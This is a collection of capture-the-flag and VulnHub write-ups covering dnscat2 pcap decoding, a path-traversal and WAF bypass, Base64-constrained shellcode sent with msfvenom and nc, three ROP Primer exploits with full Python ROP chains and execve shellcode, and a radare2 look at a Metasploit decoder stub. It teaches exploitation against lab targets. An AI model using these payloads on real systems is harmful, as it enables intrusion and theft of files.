Text
BSidesSF CTF - DNSCap Walkthrough
Of all the BSidesSF CTF challenges, I think this one has to be my favourite. Combining a mix of packet capture analysis, scripting, frustration, and trying to beat the clock.
The brief provided by the challenge was quite straight forward:
Found this packet capture. Pretty sure there's a flag in here. Can you find it!?
We are provided with a PCAP file, which we will start analysing with TShark:
Straight away we notice the unusual DNS traffic within the capture file, with what appears to be subdomains encoded using hex. Let's extract the hex and see what, if anything, it decodes to:
tshark -r dnscap.pcap -Tfields -e dns.qry.name > names.txt
To decode the ASCII hex to raw, we can use the following Python script:
import re import binascii with open('names.txt', 'r') as f: for name in f: m = re.findall('([a-z0-9\.]+)\.skull', name) if m: print binascii.unhexlify(m[0].replace('.', ''))
Running this, we can see a few strings which look interesting:
Good luck! That was dnscat2 traffic on a flaky connection with lots of re-transmits. Seriously, good luck. :)
and
\x89PNG
So we now know that this is dnscat2 traffic, which lucky for us is very well documented by iagox32 on his github repo here. We will use this information to try and hunt for the PNG file which was transferred.
Reviewing the documentation, we see that dnscat2 traffic is encrypted by default, although this can be disabled. We know that encryption was likely disabled as we can see plain text traffic, so now all we need to do is to parse the traffic and output the contents... easier said than done :)
Before we get started, we need a way to parse the PCAP file in Python. To do this, I used Scapy's rdpcap class, which allows us to iterate through structured packets quite nicely. We also know that the file being exfiltrated will be sent from the client to the server, so we can focus on parsing traffic in this direction:
pkts=rdpcap(sys.argv[1]) for pkt in pkts: if pkt[UDP].dport == 53 and pky[IP].dst == "4.2.2.4":
Now we have a steady stream of DNS traffic, we need to unpack the data from the specification.
Within the documentation, we see that there are a number of packet types:
#define MESSAGE_TYPE_SYN (0x00) #define MESSAGE_TYPE_MSG (0x01) #define MESSAGE_TYPE_FIN (0x02) #define MESSAGE_TYPE_ENC (0x03) #define MESSAGE_TYPE_PING (0xFF)
For the purposes of our parser, we will focus on MSG packets only. All packets share a common 24 bit header, which we will extract to determine the packet type:
(id, type) = struct.unpack(">Hb", data[0:3])
For MSG packets, the documentation shows the following structure:
(uint16_t) packet_id (uint8_t) message_type [0x01] (uint16_t) session_id (uint16_t) seq (uint16_t) ack (byte[]) data
This can be easily extracted by expanding our unpack statement to the following:
(id, type, session_id, seq, ack) = struct.unpack(">HbHHH", data[:9])
Now we have extracted the meaningful fields, I usually find it helpful to output the contents so we can see what we are dealing with:
We see that session_id 65013 hold the bulk of the data, so this is the stream we will focus on with the best hopes of capturing this flag.
During the CTF, the plan was to parse packets for a matching session_id, and output the data to a file, reading the contents. Of course all I was greeted with was a corrupted binary blob, mostly because of the teaser provided within the ASCII dump we saw earlier, re-transmits.
Let's see just how many we are talking about, by printing out a hash of the data transmitted:
As we can see, there is are a lot of data transfers which contains identical hashes. Although this method isn't perfect, as it may be perfectly valid to transmit the same data more than once in sequence, time is against us during a CTF, so we will attempt to strip out anything which is duplicated.
After adding our simple checks, the final script is run, but we are still not able to view the PNG. Let's take a look at the file binary and see what may be happening:
So we have a PNG header at offset 8 into the binary, let's strip the first 8 bytes:
dd if=/tmp/out.png of=/tmp/out2.png bs=1 skip=8
And opening the file, we find our flag:
The final script can be downloaded from Github here.
2 notes
·
View notes
Text
BSidesSF CTF - Steel Mountain: Sensors Walkthrough
Continuing my write-up series from BSides SF's CTF, today I'll be looking at a "pwn" challenge, Steel Mountain: Sensors.
The challenge starts with a link, and a cryptic comment:
Steel Mountain's environmental control systems have some flaws. What's going on with the sensors?
Navigating to the URL, we are greeted by a blueprint of Steel Mountain (points deducted BSidesSF for not using comic sans :D), with a number of sensors running:
If we look at the web requests/responses driving the sensor stats, we see a HTTPS request to the following URL:
https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor/?sensor=b-3
Reviewing the URL, and testing for common vulnerabilities, we find that the following URL's are equivalent and return the same response:
https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor/?sensor=b-3
https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor/?sensor=./b-3
https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor/?sensor=././b-3
This means there is a good chance that the sensor parameter is being used to build a path. Interestingly, we notice that the following URL results in a 403 Forbidden error being returned:
https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor/?sensor=/../b-3
This could be due to directory permissions, but we can rule this out with the following request:
https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/sensor/?sensor=/..b-3
This should result in a non-valid path, and yet we still receive a 403 Forbidden error, smells like a WAF.
Let's do some information gathering on the site itself. A quick look at "/robots.txt" shows the following:
Disallow: /firmware Disallow: /flag.txt
Obviously /flag.txt is what we will be attempting to extract (and no, https://steel-mountain-d2fcf1e0.ctf.bsidessf.net/flag.txt doesn't provide the flag :D), but what is in the /firmware/ directory:
This gives us access to 2 firmware files, "sensor" and "setpoint". For this challenge we are looking at "sensor", so we need to fire up radare2 and start disassembling.
Listing the available symbols, we see references to functions prefixed with "cgi...", for example: "cgiMain". A quick Google search shows a framework named cgic which exposes the same functionality, so there is a good chance that this binary was built using this framework. Reviewing the documentation, we find the following:
Since all CGI applications must perform certain initial tasks, such as parsing form data and examining environment variables, the cgic library provides its own main() function. When you write applications that use cgic, you will begin your own programs by writing a cgiMain() function, which cgic will invoke when the initial cgi work has been successfully completed.
Knowing this, we will start our analysis at cgiMain() and see what the sensor CGI application is doing with our passed data.
A symbol stands out as being interesting, "loadSensorConfig", and upon disassembling this we see that we were right about the WAF:
A limitation of this filter however is the search for the prefix "/", which means we can actually bypass this and jump into the parent directory by using "../". This will become important later.
Next, we see that our provided parameter is involved in a snprintf() call with the following format string:
Knowing this, we can check our directory traversal by making a CURL request:
Cool, we get the same result, so now we can access files outside of the directory. Unfortunately however, as we see in the format string, ".cfg" will be appended to our path. We will need to bypass this to grab the flag. Attempting the usual %00 NULL byte doesn't seem to work, so we need to dig further.
Just below the snprintf() call, we see a strcspn() call, which has the following signature:
The "size_t" returned is the offset of the first occurrence of str2 within str2. The address of 0x4044cc is being used as the "str2" parameter, let's see what this call is searching for:
So we now know that a "\r\n" (0x0d0a) is being searched for, and a NULL character is being added to terminate the string if found. With another CURL request, we can make sure that this is the case:
Awesome, now lets have a go at grabbing the flag.txt:
Close, but we receive a HTTP 400 Bad Request response. We know that we are able to request the file as looking for a non-existent file will return a HTTP 404 response. Let's go back to our disassembly.
After more searching, we find a function named debug_printf(), which is used to output debug strings from the application. Within this function, we see this:
So it appears there is a "debug" parameter that can be passed to trigger this functionality. Let's combine everything and give it a try:
Flag found!
2 notes
·
View notes
Text
BSidesSF CTF: b-64-b-tuff Walkthrough
This week I was part of team "NeverTry" who competed in the BSidesSF online capture the flag. As far as CTF's go, this was a fun one, taking place over 2 days there were a range of cool puzzles and flags to find.
Over a series of upcoming posts I'll be running through the solutions for a number of my favourite challenges, starting with b-64-b-tuff.
This challenge started with a simple application which receives binary shellcode over the network, and executes the payload. The aim is simple, read the contents of /home/ctf/flag.txt.
This challenge however came with a twist, let's have a look at the source code of the running service:
#include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #define LENGTH 1024 #define disable_buffering(_fd) setvbuf(_fd, NULL, _IONBF, 0) int verify(uint8_t *hash, uint8_t *data, size_t length) { uint8_t buffer[MD5_DIGEST_LENGTH]; MD5_CTX ctx; MD5_Init(&ctx); MD5_Update(&ctx, data, length); MD5_Final(buffer, &ctx); return !memcmp(buffer, hash, MD5_DIGEST_LENGTH); } int main(int argc, char *argv[]) { uint8_t *buffer = mmap(NULL, LENGTH, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); ssize_t len; alarm(10); disable_buffering(stdout); disable_buffering(stderr); printf("Send me stuff!!\n"); len = read(0, buffer, LENGTH); if(len <code>\n"); exit(1); } if(!verify(buffer, buffer+16, len - 16)) { printf("md5sum didn't check out!\n"); printf("Expected: <md5sum><code>\n"); exit(1); } asm("call *%0\n" : :"r"(buffer)); return 0; }
That's right, the payload will be Base64 encoded before being executed.
To start with, we grab a simple Linux x86 read() shellcode and modify it to read the flag:
http://shell-storm.org/shellcode/files/shellcode-73.php
/* Linux/x86 file reader. 65 bytes + pathname Author: certaindeath char main[]= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\xeb\x32\x5b\xb0\x05\x31\xc9\xcd" "\x80\x89\xc6\xeb\x06\xb0\x01\x31" "\xdb\xcd\x80\x89\xf3\xb0\x03\x83" "\xec\x01\x8d\x0c\x24\xb2\x01\xcd" "\x80\x31\xdb\x39\xc3\x74\xe6\xb0" "\x04\xb3\x01\xb2\x01\xcd\x80\x83" "\xc4\x01\xeb\xdf\xe8\xc9\xff\xff" "\xff" "/home/ctf/flag.txt\x00"
Obviously when Base64 encoded, the above payload is going to be corrupted, so we need to Base64 decode our binary shellcode before sending it to the server.
A Base64 encoded string consists of a character set of A-Z, a-z and 0-9, so our payload will need to consist of this character set only.
... enter Metasploit's x86/alpha_mixed encoder :)
Let's attempt to encode the payload and see what happens:
python -c 'import sys; sys.stdout.write("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff/home/ctf/flag.txt\x00")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux | hexdump -C
When run through hexdump, we get the following output:
As you can see, not all of the encoded shellcode is ASCII, we have a small section at the beginning which is outside of our desired "A-Za-z0-9" ASCII set.
The reason for this is due to the stub which is prepended and is used to identify our shellcode in memory. A quick Google search and we find the following post from OffensiveSecurity showcasing the encoder: https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/.
It turns out that we can use the "BufferRegister" advanced option to specify a register which points to our shellcode. When provided, this helps to remove the stub we saw above. Let's throw the binary into radare2 and see what registers may point to our code:
The final "call" instruction relates to the asm("call *%0\n" : :"r"(buffer)); that we saw in the server source code, so eax looks like a good candidate :). Let's update the msfvenom options and review the output:
Looks good, we are ready to decode the payload and exploit:
python -c 'import sys; sys.stdout.write("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff/home/ctf/flag.txt\x00")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX | base64 -d | nc b-64-b-tuff-c4f89487.ctf.bsidessf.net 5757
1 note
·
View note
Text
ROP Primer - Walkthrough of Level 2
In the final post in this series, we'll be looking at Level 2, the last level of ROP Primer from VulnHub.
This level gives a very simple program, similar to the first challenge that we faced in Level 0. The source of the application is as follows:
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv, char **argp) { if (argc > 1) { char name[32]; printf("[+] ROP tutorial level2\n"); strcpy(name, argv[1]); printf("[+] Bet you can't ROP me this time around, %s!\n", name); } return 0; }
The key difference with this example however, is the strcpy() function that must be used to trigger the overflow of the name[32] buffer.
As you will likely know from other buffer overflow exercises, strcpy() does not allow any NULL characters within your payload, which means that we will need to work a bit harder to exploit this stack overflow.
As with the previous write-ups, we start with finding the relevant offsets for our payload using the pattern_search technique:
So this time, eip is overwrite-able at offset 44.
As we will be using the mprotect() method again for this exploit, we will go ahead and grab the address of this function:
$1 = {<text variable no debug info>} 0x8052290 <mprotect>
Let's start constructing our ROP chain. Before we start, we need to take a look at mprotect to see what is happening inside:
0x08052290 : push ebx 0x08052291 : mov edx,DWORD PTR [esp+0x10] 0x08052295 : mov ecx,DWORD PTR [esp+0xc] 0x08052299 : mov ebx,DWORD PTR [esp+0x8] 0x0805229d : mov eax,0x7d 0x080522a2 : int 0x80 0x080522a4 : pop ebx 0x080522a5 : cmp eax,0xfffff001 0x080522aa : jae 0x8053720 <__syscall_error> 0x080522b0 : ret
As we can see, the mprotect() function is basically a wrapper for the int 0x80 syscall that is made to the kernel, meaning that our ROP chain can actually just jump to mprotect+13 (0x0805229d) with our arguments set in the relevant registers, and allow this function to set eax for us.
Knowing this, the first register we want to set is edx, which we want to contain 0x7. Let's hunt for a "pop edx; ret" gadget. To do this, we will use http://ropshell.com, which is an online ROP gadget searching tool.
Searching, we find a suitable "pop edx; ret" gadget at address 0x08052476 which we will use to update the edx register. There is a slight problem however, usually we would just pop 0x7 into the register, however because of the strcpy() function, we can't have any 0x00 bytes in our ROP chain. So the following ROP chain isn't going to work:
0x08052476 0x00000007
To work around this, we will pop a value of 0xFFFFFFFF into the register, and use another 'inc edx; ret' gadget to get to our desired 0x7 value. When constructed, it looks like this:
import struct import sys MPROTECT = 0x0805229d def p(v): return struct.pack("I", v) rop = "" # 0x7 into EDX for prot rop += p(0x08052476) # pop edx; ret rop += p(0xFFFFFFFF) rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x41414141) # crash!! print "A" * 44 + rop
Testing this, we see that our edx register now has the 0x7 value we were looking for:
For the ecx register, we want to add the size of memory that we wish to update. After a bit of trial and error, I found it is actually possible to provide a size larger than the allocation, such as 0x01010101 (remember, no NULL bytes). So all we need for this is a "pop ecx; ret" gadget which is found at 0x080658d7.
ebx is the final register we need to set for our mprotect() call, so we are first going to find a "pop ebx; ret" gadget using ropshell.com, which we find at 0x0805249e.
Now we have to pass our ROP gadget the stack base address of 0xbffdf000, which of course has a NULL byte within it. To work around this, we will instead use a value of 0xbffdf001, and then add a "dec ebx; ret" gadget from address 0x0804f871 to get our desired stack base.
Now that we have our registers set, let's update our exploit and try calling mprotect():
import struct import sys MPROTECT = 0x0805229d def p(v): return struct.pack("I", v) rop = "" # 0x7 into EDX for prot rop += p(0x08052476) # pop edx; ret rop += p(0xFFFFFFFF) rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret # 0x01010101 into ECX for size rop += p(0x080658d7) # pop ecx; ret rop += p(0x01010101) # STACK into EBX for addr rop += p(0x0805249e) # pop ebx; ret rop += p(0xbffdf001) # EBX = 0xbffdf001 rop += p(0x0804f871) # dec ebx; ret # Return into MPROTECT rop += p(0x0805229d) # MPROTECT + 13 rop += p(0x41414141) # Junk used by mprotect 'pop ebx' rop += p(0x42424242) # crash!! print "A" * 44 + rop
Brilliant, everything worked and now we have a executable stack. All that is left to is read our shellcode to the stack and execute.
At this point, feel free to append your shellcode to the end of the ROP chain, and jump to this address to complete the challenge (as no ASLR is enabled for this binary). However seeing as this was the last challenge, I however wanted to tried something a little different... using ROP to add our shellcode to the stack.
I constructed a small function which returns a ROP chain, allowing arbitrary values to be written to memory:
def write_to_mem(addr, val): g = "" g += p(0x08052476) # pop edx g += p(val) # value to write g += p(0x0806fb4c) # mov eax, edx g += p(0x08052476) # pop edx g += p(addr) # address to write to g += p(0x08078e71) # copy memory return g
Using this function, we can write our shellcode to memory, and then attempt to jump to this address to spawn a shell.
When all of these pieces are put together, the final exploit looks like this:
import struct import sys MPROTECT = 0x0805229d def write_to_mem(addr, val): g = "" g += p(0x08052476) # pop edx g += p(val) # value to write g += p(0x0806fb4c) # mov eax, edx g += p(0x08052476) # pop edx g += p(addr) # address to write to g += p(0x08078e71) # copy memory return g def p(v): return struct.pack("I", v) rop = "" # 0x7 into EDX for prot rop += p(0x08052476) # pop edx; ret rop += p(0xFFFFFFFF) rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret rop += p(0x0808f4f4) # inc edx; ret # 0x01010101 into ECX for size rop += p(0x080658d7) # pop ecx; ret rop += p(0x01010101) # STACK into EBX for addr rop += p(0x0805249e) # pop ebx; ret rop += p(0xbffdf001) # EBX = 0xbffdf001 rop += p(0x0804f871) # dec ebx; ret # Return into MPROTECT rop += p(0x0805229d) # MPROTECT + 13 rop += p(0x41414141) # Junk used by mprotect # Write our shellcode to the stack rop += write_to_mem(0xbffdf040, 0x99580b6a) rop += write_to_mem(0xbffdf044, 0x2d686652) rop += write_to_mem(0xbffdf048, 0x52e18970) rop += write_to_mem(0xbffdf04c, 0x2f68686a) rop += write_to_mem(0xbffdf050, 0x68736162) rop += write_to_mem(0xbffdf054, 0x6e69622f) rop += write_to_mem(0xbffdf058, 0x5152e389) rop += write_to_mem(0xbffdf05c, 0xcde18953) rop += write_to_mem(0xbffdf060, 0x80808080) # Jump to our shellcode rop += p(0x08052476) # pop edx rop += p(0xbffdf040) # address of shellcode rop += p(0x0808402f) # jmp edx print "A" * 44 + rop
0 notes
Text
ROP Primer - Walkthrough of Level 1
Continuing from the previous post which shows a solution for Level 0, we are going to look at Level 1 of ROP Primer from VulnHub.
Level 1 is a server application, which suffers from a typical buffer overflow. Reviewing the application source provided by the challenge, we can see that the overflow vector is within the following code:
void handle_conn(int fd) { char filename[32], cmd[32]; ... if (!strncmp(cmd, "store", 5)) { write_buf(fd, " Please, how many bytes is your file?\n\n"); write_buf(fd, "> "); memset(str_filesize, 0, sizeof(str_filesize)); read(fd, &str_filesize, 6); filesize = atoi(str_filesize); ... memset(filename, 0, sizeof(filename)); read_bytes = read(fd, filename, filesize);
When the user selects the “store” option, a filesize is provided by the user as prompted. After passing some file data, this value is then mistakenly used as the length parameter of a read() call, allowing the user to overflow the filename buffer.
As with the previous challenge, we want to load the binary into a debugger to determine how to craft our buffer overflow exploit. There is one slight problem with this however, SSH'ing into the server as instructed (using the level1 user), and attempting to start the binary, we are shown a number of errors:
This is due to the fact that the process is already running on the server, meaning we cannot bind to the same TCP port.
Rather than elevating to root and killing the process, we can use our debugger to change the port which our debugged process will bind to. First we need to load the application into GDB and find the code responsible for setting the port, which is present in the following disassembly:
0x08048d85 : mov DWORD PTR [esp],0x22b8
Knowing this, we can patch the port at runtime by setting a breakpoint on main, and using Peda’s “patch” command:
break main run patch 0x08048d88 '\xb9\x22\x00\x00'
As the process will also spawn a child using a fork() call, we must tell GDB to follow the forked process using:
set follow-fork-mode child
We continue debugging and attempt to crash the server using a long string. We will use the same pattern_create technique as our previous tutorial to find appropriate offsets:
Now we know that our EIP overwrite is at offset 0x64, we have to construct our ROP chain to send the flag back to the user.
Previously we used mprotect to allow arbitrary shellcode to be executed from the stack, however this time we are going to use the open/read/write syscalls to pass the flag to the user across the network.
As with our previous ROP chain, we need to find a few gadgets to start constructing our exploit, mainly:
The address of the open() call, using “p open”
The address of the read() call, using “p read”
The address of the write() call, using “p write”
pop2ret and pop3ret gadgets, using “ropgadget”
We also need a way to add the string “flag” to our ROP chain. Reviewing the application source code, we see that the string “flag” is actually referenced by the application:
if (strstr(filename, "flag")) { ... }
This means we should be able to reference this string in memory using the Peda command “searchmem”:
Finally, we need to know the descriptor ID’s of both the socket and file that will be opened so we can add this to our ROP chain.
Finding the socket descriptor is relatively simple using GDB, first we add a breakpoint to accept(), the call which returns a socket for our connected client. Once we are connected and the breakpoint has been hit, we can use the “finish” command to return from the call, and in EAX will be our descriptor:
To retrieve the file descriptor of our opened flag, we can use GDB’s “call” method on the open() function, requesting a dummy flag present in /tmp/flag to retrieve the return value:
call open("/tmp/flag", 0)
Now that we know 4 is our accept() call return value, and 3 is our open() call return value, let's start to craft our ROP chain. We’ll start with the open() call, which has the following prototype:
int open(const char *pathname, int flags);
For the “pathname” parameter, we need to pass the address of our “flag” string found in memory earlier. The “flags” parameter will need to be O_RDONLY, which is found to be 0 within “fcntl.h”:
#define O_RDONLY 00000000
Before executing our first attempt, we want to change our current working directory to /tmp/ and add a file named “flag”. This is because, if we started the process in the “/home/level1” directory, when our ROP open() call is made we will receive a permission denied error rather than the expected file descriptor due to the permissions of the flag file.
OK, so our first attempt looks like this:
import socket import struct import sys OPEN = 0xb7f00060 def p(v): return struct.pack("I", v) rop = "" rop += p(OPEN) rop += p(0x41414141) # crash rop += p(0x8049128) # pathname - Address of 'flag' string rop += p(0x00) # flags - O_RDONLY s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) s.connect(('127.0.0.1', int(sys.argv[1]))) print s.recv(1024) s.send("store") print s.recv(1024) s.send("200") print s.recv(1024) s.send("AAAA") print s.recv(1024) s.send(("B" * 64) + rop + "C" * (200 - 64 - len(rop)))
Brilliant, we crashed at 0x41414141 and our EAX register shows a value of 0x3, our expected file descriptor… we’re on the right track.
Next up is our read() call. Again, the function signature is:
ssize_t read(int fd, void *buf, size_t count);
Before calling this function, we need to remove the open() call arguments from the stack once it has been called. As with the previous tutorial, we can do this with a pop2ret gadget. Then we can call the read() function.
For the buf parameter, I chose the beginning of the stack, as we are not dealing with ASLR, this address will remain the same between process restarts. Finally, we will be using a file descriptor value of “3” as discovered earlier, and a count of 100 bytes. Combined, we have the following script which can be run against our debugged process:
import socket import struct import sys OPEN = 0xb7f00060 READ = 0xb7f004f0 def p(v): return struct.pack("I", v) rop = "" rop += p(OPEN) rop += p(0x8048ef7) # pop2ret, removing OPEN args rop += p(0x8049128) # pathname - Address of 'flag' string rop += p(0x00) # flags - O_RDONLY rop += p(READ) rop += p(0x42424242) # crash!! rop += p(0x3) # fd - fd from the OPEN call rop += p(0xbffdf000) # buf - stack location to read flag to rop += p(100) # count - read 100 bytes s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) s.connect(('127.0.0.1', int(sys.argv[1]))) print s.recv(1024) s.send("store") print s.recv(1024) s.send("200") print s.recv(1024) s.send("AAAA") print s.recv(1024) s.send(("B" * 64) + rop + "C" * (200 - 64 - len(rop)))
OK, we can see that our dummy flag data has been read and placed at address 0xbffdf000.
Now the final stage is to write that data back to the client over the network. To do this we are using the write() call, which has the following signature:
ssize_t write(int fd, const void *buf, size_t count);
Similar to previous, we need to account for the left over read() arguments on the stack, by using a pop3ret gadget to remove them.
For the buf parameter, we will choose the address where our flag data has just been read into, and a count value of 100. The fd parameter will be set to the socket file descriptor that we found earlier of 4.
Combined, we have a final exploit which looks like this:
import socket import struct import sys OPEN = 0xb7f00060 READ = 0xb7f004f0 def p(v): return struct.pack("I", v) rop = "" rop += p(OPEN) rop += p(0x8048ef7) # pop2ret, removing OPEN args rop += p(0x8049128) # pathname - Address of 'flag' string rop += p(0x00) # flags - O_RDONLY rop += p(READ) rop += p(0x8048ef6) # pop3ret rop += p(0x3) # fd - fd from the OPEN call rop += p(0xbffdf000) # buf - stack location to read flag to rop += p(100) # count - read 100 bytes rop += p(0x41414141) # CRASH rop += p(0x4) # fd - fd from the ACCEPT call rop += p(0xbffdf000) # buf - stack location of flag data rop += p(100) # count - write 100 bytes s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) s.connect(('127.0.0.1', int(sys.argv[1]))) print s.recv(1024) s.send("store") print s.recv(1024) s.send("200") print s.recv(1024) s.send("AAAA") print s.recv(1024) s.send(("B" * 64) + rop + "C" * (200 - 64 - len(rop))) print s.recv(1024) print s.recv(1024) print s.recv(1024)
0 notes
Text
ROP Primer - Walkthrough of Level 0
I recently found Vulnhub ROP Primer, which is a brilliant playground for refreshing your Linux ROP skills. To try and share some of the techniques I used to solve these challenges, I'm completing a series of writeups detailing the steps to solve each level.
In typical Vulnhub style we start with a virtual machine which runs a number of services alongside a HTTP server documenting the 3 levels of difficulty. This post will be looking at Level 0, with the other 2 levels to follow.
The level starts simple, with the following C source being provided:
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv, char **argp) { char name[32]; printf("[+] ROP tutorial level0\n"); printf("[+] What's your name? "); gets(name); printf("[+] Bet you can't ROP me, %s!\n", name); return 0; }
You should be able to see the overflow vulnerability, in that the "gets()" call is unsafe and will allow input to overrun the "name[32]" array.
Loading the binary into GDB with Peda, we can use "checksec" to see what obstacles we are going to have to bypass:
In this challenge, we see that the process uses a non-executable stack, meaning we have to use a technique such as ROP to execute our arbitrary code.
Before we get too ahead of ourselves, lets calculate the offsets that we have to use in order to gain control over the instruction pointer. Using Peda's "pattern_generate" tool, we pass the crafted pattern to the application and quickly see that to overwrite the EIP register, we need to pass 44 bytes, followed by 4 bytes which will be set within EIP:
We can verify this with a simple python command:
python -c 'print "A" * 44 + "B" * 4' > eip_test.txt gdb ./level0 -ex 'run < eip_test.txt'
As we can see, the crash recorded shows that EIP was overwritten by 0x42424242:
Next we need to decide on a ROP chain that we want to construct. For this challenge, I wanted to use the "mprotect" call to update the stack protection and allow execution. We can easily find the address using GDB's print command:
p mprotect $1 = {<text variable, no debug info>} 0x80523e0 <mprotect>
We will also need a "pop3ret" gadget, which can be found with Peda's "ropgadget" function:
Now we have a few of the pieces for our ROP chain, lets start crafting. Looking at the mprotect manpage, we an see that the function has the following signature:
int mprotect(void *addr, size_t len, int prot);
We know that the "addr" argument will be the address of the stack, and that the "len" argument will be the length of memory we want to make executable, but what about the "prot" argument. Again, the manpage shows us that we need to use 3 settings:
PROT_READ The memory can be read. PROT_WRITE The memory can be modified. PROT_EXEC The memory can be executed.
Looking through the various include files used by mprotect, we find the values that we will need:
#define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4
Using a bitwise OR, we now know that 0x1 | 0x2 | 0x4 == 0x7 needs to be passed to the mprotect "prot" argument to make the stack executable.
Let's pause and craft our mprotect rop chain to see if it works. As I'm comfortable with Python, I'll be using that here:
import sys import struct def p(v): return struct.pack('I', v) payload = "A" * 44 payload += p(0x80523e0) # mprotect payload += p(0x42424242) # crash!! payload += p(0xbffdf000) # arg - void* addr payload += p(0x100000) # arg - size_t len payload += p(0x7) # arg - int prot print payload
Now we run this through GDB and see what happens:
python level0_stage1.py > rop.txt gdb ./level0 -ex 'run < rop.txt'
Looks good, we have our expected crash at 0x42424242, but what about the stack protection:
Brilliant, our stack is now executable!
All that is left to do is to read our shellcode onto the stack, and jump to that address to execute it. To do this, I'll be using the "read" syscall to take shellcode from STDIN and push the code onto the stack, however feel free to use any other technique for this purpose.
Again, let's get the address of the "read" function from our executable:
p read $1 = {<text variable, no debug info>} 0x80517f0 <read>
And the function parameters required for the call:
ssize_t read(int fd, void *buf, size_t count);
For the count parameter, we want to pass enough for our shellcode to be read, I'll be using "200" for this but this will vary depending on your shellcode length.
The "buf" parameter will point to the stack address where your shellcode will be read to. This will also be the address that you will jump to to start execution. Again, I'll be using the start of the stack located at 0xbffdf000 which is now executable.
Finally, the "fd" parameter will be set to STDIN, or 0, to allow our shellcode to be passed from the command line.
One final thing to consider, are the remaining arguments from the mprotect call. In libc, the caller must clean up the arguments passed (unlike Win32 calls, where the function will deal with the cleanup of the stack arguments on the callers behalf). This is where our pop3ret gadget will be used. Rather than returning from mprotect into read, we will return to the pop3ret call which will pop the 3 mprotect arguments from the stack, allowing us to return into the read call with its own set of arguments.
Put together, our final ROP chain looks like this:
import sys import struct def p(v): return struct.pack('I', v) payload = "A" * 44 payload += p(0x80523e0) # mprotect payload += p(0x8048882) # pop3ret payload += p(0xbffdf000) # arg - void* addr payload += p(0x100000) # arg - size_t len payload += p(0x7) # arg - int prot payload += p(0x80517f0) # read payload += p(0xbffdf000) # return address (our shellcode) payload += p(0x00) # arg - int fd payload += p(0xbffdf000) # arg - void *buf payload += p(200) # arg - size_t count print payload
A demo of the final exploit can be found below:
3 notes
·
View notes
Text
Radare2 - Using Emulation To Unpack Metasploit Encoders
Radare2 is an open source reverse engineering framework, and is quickly becoming one of my favourite tools when picking apart malware or looking at CTF binaries.
I was recently introduced to Radare’s ESIL (Evaluable Strings Intermediate Language), which is a way of representing instructions in a forth like language, and allows emulation of machine instructions in Radare’s ESIL VM. To help understand this functionality, lets look at some examples from the radare2 book:
push ebp
If we take this x86 instruction, we find that it can be translated to the following ESIL representation:
4,esp,-=,ebp,esp,=[4]
I won’t go through the syntax of ESIL, as that isn’t too important for what we are trying to achieve today, but if you are interested there is plenty of documentation available in the Radare2 book here.
If you are a visitor to /r/netsec, you may have recently seen this post from the radare.today blog on unpacking Metasploit's "shaketa-ga-nai” encoder. What I liked was the power of emulating instructions during a disassembly without having to revert to debugging, and I wanted to apply the same concepts to other Metasploit encoding techniques to see just how easy this was.
Starting Easy - x86/countdown
To start with, we will look at the "x86/countdown” encoder, which is described as a "Single-byte XOR Countdown Encoder”. We can find the source code for the decoder in the Metasploit github repo here.
Reviewing the Ruby code from the ‘decoder_stub’ method, we find the following:
decoder = Rex::Arch::X86.set( Rex::Arch::X86::ECX, state.buf.length - 1, state.badchars) + "\xe8\xff\xff\xff" + # call $+4 "\xff\xc1" + # inc ecx "\x5e" + # pop esi "\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl "\xe2\xfa" # loop xor_loop
